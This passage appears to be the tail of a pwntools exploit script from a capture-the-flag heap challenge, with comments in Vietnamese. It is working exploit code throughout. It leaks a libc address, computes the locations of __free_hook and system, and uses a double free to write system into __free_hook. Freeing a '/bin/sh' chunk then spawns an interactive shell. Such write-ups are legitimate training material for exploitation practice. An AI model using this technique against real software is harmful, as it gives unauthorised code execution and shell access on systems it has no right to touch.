libc_leak=u64(p.recv(6)+b'\0\0') base=libc_leak-0x3b2ca0 free_hook=base+libc.sym['__free_hook'] system=base+libc.sym['system'] log.info('libc leak: ',hex(libc_leak)) log.info('libc base: ',hex(base)) log.info('libc : ',hex(system)) c(7,b'a') c(8,b'a') d(7) #double free d(7) c(1,p64(free_hook)) #lần tiếp theo malloc sẽ ở vị trí của __free_hook c(2,b'a') c(3,p64(system)) #ghi đè system vào __free_hook c(4,b'/bin/sh') #tạo shell d(4) p.interactive() ```